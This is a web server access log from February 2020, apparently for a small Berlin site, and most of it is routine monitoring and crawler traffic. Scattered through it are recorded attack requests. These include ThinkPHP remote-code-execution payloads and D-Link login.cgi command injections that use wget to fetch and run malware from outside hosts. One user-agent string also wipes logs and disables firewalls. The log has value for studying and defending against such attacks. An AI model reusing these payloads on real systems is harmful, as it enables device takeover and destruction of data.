189.89.85.226 - - [18/Feb/2020:09:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:09:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:09:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.197.27.4 - - [18/Feb/2020:09:59:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [18/Feb/2020:09:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.28.219.23 - - [18/Feb/2020:10:02:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:10:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:10:03:44 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:10:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.163.188.47 - - [18/Feb/2020:10:06:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:10:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.235.237.46 - - [18/Feb/2020:10:07:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:10:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.160.72.94 - - [18/Feb/2020:10:10:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:10:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.27.187.117 - - [18/Feb/2020:10:12:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [18/Feb/2020:10:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.153.65 - - [18/Feb/2020:10:14:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [18/Feb/2020:10:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.75.179.143 - - [18/Feb/2020:10:15:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
45.152.6.58 - - [18/Feb/2020:10:16:08 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
143.255.243.98 - - [18/Feb/2020:10:16:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:10:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [18/Feb/2020:10:16:58 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [18/Feb/2020:10:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:26:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.1.141.181 - - [18/Feb/2020:10:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:10:27:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
107.21.1.8 - - [18/Feb/2020:10:27:45 +0100] "GET / HTTP/1.1" 200 1229 "http://www.friedrich-list-berlin.de/" "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
107.21.1.8 - - [18/Feb/2020:10:27:45 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "http://www.friedrich-list-berlin.de/favicon.ico" "Mozilla/5.0 (compatible; DuckDuckGo-Favicons-Bot/1.0; +http://duckduckgo.com)"
212.91.246.72 - - [18/Feb/2020:10:28:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.112.53.202 - - [18/Feb/2020:10:28:56 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
193.112.53.202 - - [18/Feb/2020:10:28:57 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
88.234.211.178 - - [18/Feb/2020:10:28:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
193.112.53.202 - - [18/Feb/2020:10:29:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [18/Feb/2020:10:29:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [18/Feb/2020:10:29:42 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:10:30:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:31:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:33:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.108.167 - - [18/Feb/2020:10:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [18/Feb/2020:10:34:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:35:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:36:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [18/Feb/2020:10:36:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [18/Feb/2020:10:36:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [18/Feb/2020:10:37:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [18/Feb/2020:10:37:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:10:37:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [18/Feb/2020:10:37:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
2.187.66.58 - - [18/Feb/2020:10:38:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:10:38:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.48.140.186 - - [18/Feb/2020:10:39:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [18/Feb/2020:10:39:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:40:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.136.171.212 - - [18/Feb/2020:10:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:10:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.82.68.67 - - [18/Feb/2020:10:43:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
92.118.37.64 - - [18/Feb/2020:10:43:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
92.118.37.64 - - [18/Feb/2020:10:43:08 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
92.118.37.64 - - [18/Feb/2020:10:43:09 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:09 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:09 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:10 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:11 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:18 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:18 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
71.77.51.27 - - [18/Feb/2020:10:43:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
80.82.68.67 - - [18/Feb/2020:10:43:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:21 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:21 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:24 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:24 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
80.82.68.67 - - [18/Feb/2020:10:43:24 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:24 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:24 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:24 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:24 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:25 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:25 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
45.227.255.224 - - [18/Feb/2020:10:43:25 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"
212.91.246.72 - - [18/Feb/2020:10:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [18/Feb/2020:10:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [18/Feb/2020:10:53:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [18/Feb/2020:10:53:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [18/Feb/2020:10:53:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
125.128.241.71 - - [18/Feb/2020:10:53:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [18/Feb/2020:10:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.128.241.71 - - [18/Feb/2020:10:53:46 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
